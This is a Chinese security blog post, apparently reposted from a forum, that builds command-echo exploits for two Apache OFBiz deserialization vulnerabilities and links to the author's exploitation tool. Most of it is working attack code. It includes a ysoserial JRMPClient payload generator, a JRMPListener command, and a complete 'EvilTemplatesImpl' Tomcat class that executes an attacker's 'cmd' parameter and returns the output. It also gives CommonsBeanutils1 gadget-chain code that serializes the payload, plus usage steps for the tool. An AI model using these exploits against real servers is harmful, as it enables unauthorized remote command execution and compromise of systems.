炒冷饭系列之第二篇--Apache Ofbiz回显利用与工具实现 - MrMeizhi

admin 2021年12月31日14:43:54评论91 views字数 9005阅读30分1秒阅读模式

0x00 前言

最近学习了下apache ofbiz的的两个cve,CVE-2021-26295与CVE-2020-9496,然后想起来目前还没有关于回显的exp,于是手动调了一下回显的利用,(其实是逮住kingkk师傅的回显思路一顿薅:Tomcat中一种半通用回显方法

0x01 环境搭建以及回显payload

环境搭建主要参考这篇文章 https://www.cnblogs.com/ph4nt0mer/p/13576739.html

wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
unzip apache-ofbiz-17.12.01.zip
cd apache-ofbiz-17.12.01
sh gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadDefault
./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
./gradlew ofbiz # Start OFBiz

在idea中导入进行调试

0x02 CVE-2021-26295 回显

CVE-2021-26295实际上是反序列化白名单的绕过,由漏洞触发点

java/org/apache/ofbiz/base/util/SafeObjectInputStream.java

中可以看到关键代码如下

虽然使用了SafeObjectInputStream进行封装(白名单校验),但忽略java.*当中还有java.rmi.*可以进行调用。看了下先知上关于这个漏洞的分析文章感叹构造poc进行完整利用的师傅实在是太强了。

网上通用的rce攻击步骤为

(1)使用yososerial生成jrmpclient的payload,然后保存至

#coding:utf-8
import subprocess

ip = "127.0.0.1"
port = "12345"

popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "JRMPClient", "{}:{}".format(ip, port)], stdout=subprocess.PIPE)
payload = popen.stdout.read()
post_data = payload.hex().upper()
print(post_data)

(2)监听jrmp Listener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "calc.exe"

因为不是直接回显,所以一般选择使用dnslog或者其他反弹shell的方式进行利用。

由于攻击exp要集成到工具中并且简化利用,因此多次使用已公开回显payload进行调试,最终找到了可回显的payload,基本上是对《Tomcat中一种半通用回显方法》的payload的复用。直接通过在org.apache.catalina.core.ApplicationFilterChain中的lastServicedRequest和lastServicedResponse来获取request和response,request获得传入的参数,response中设置执行命令后的响应内容。

Tomcat回显代码如下(直接从kingkk的payload上复制下来即可)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;


import java.io.InputStream;
import java.lang.reflect.Field;
import javax.servlet.*;
import java.lang.reflect.Modifier;
import java.util.Scanner;


public class EvilTemplatesImpl extends AbstractTranslet {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse =
                    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
            String cmd = lastServicedRequest != null
                    ? lastServicedRequest.get().getParameter("cmd")
                    : null;
            if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else if (cmd != null) {
                ServletResponse responseFacade = lastServicedResponse.get();
                ServletRequest request_test = lastServicedRequest.get();
                ServletContext servletContext = request_test.getServletContext();
                responseFacade.getWriter();
                java.io.Writer w = responseFacade.getWriter();
                Field responseField = ResponseFacade.class.getDeclaredField("response");
                responseField.setAccessible(true);
                Response response = (Response) responseField.get(responseFacade);
                Field usingWriter = Response.class.getDeclaredField("usingWriter");
                usingWriter.setAccessible(true);
                usingWriter.set((Object) response, Boolean.FALSE);

                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                w.write(output);
                w.flush();
            }

        }catch (Exception e){

        }
    }



    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {

    }
}

由于ysoserial整个项目包过于庞大,因此这里直接从ysoserial调了关键部分的利用链CommonsBeantuils1代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.example.EvilTemplatesImpl;

import java.io.IOException;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class JRMPTest {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String args[]) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "EvilTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        JRMPListener jrmpListener = new JRMPListener(12345,queue);
        jrmpListener.run();
    }
}

最终利用截图为

调试时踩过一些坑,比如每次生成的jrmpclient的poc触发server去连接远程的jrmpserver只能触发一次,要想每次都触发必须得重新生成(检查了下代码应该是objid得重新生成)不过我对rmi的理解还是不够,若有理解错误的点,师傅们指出我改正。

0x03 CVE-2020-9496 回显

漏洞大致原理为通过/webtools/control/xmlrpc接口,传入XML-RPC数据,通过XmlRpcEventHandler的getRequest方法对该数据进行解析。

接着调用scanDocument对xml元素进行扫描解析。

解析serialize标签时,getParser方法判断pUri是否与EXTENSIONS_URI相等,接着进入道SerializerParser进行反序列化操作

最终取出serializable标签中的数据进行反序列化。

回显利用部分代码如下

import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

public class CommonsBeanutilsTest {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    public static void main(String args[]) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        String a = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(a);

    }

}

0x04 回显利用工具集成与使用

1、CVE-2021-26295

Listen-AllServer,选择一个端口开启jrmp监听

选择对应的exp

选择远程监听的端口,payload,填入url和命令,选择exploit即可成功利用

2、CVE-2020-9496

选择相应的exp

填入目标url即可

0x05 工具地址

https://github.com/MrMeizhi/DriedMango

0x06 参考

https://xz.aliyun.com/t/8184

https://xz.aliyun.com/t/9345

https://xz.aliyun.com/t/8324

https://github.com/dwisiswant0/CVE-2020-9496

https://xz.aliyun.com/t/7348

https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://www.cnblogs.com/ph4nt0mer/p/13576739.html

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:43:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   炒冷饭系列之第二篇--Apache Ofbiz回显利用与工具实现 - MrMeizhihttps://cn-sec.com/archives/709418.html

发表评论

匿名网友 填写信息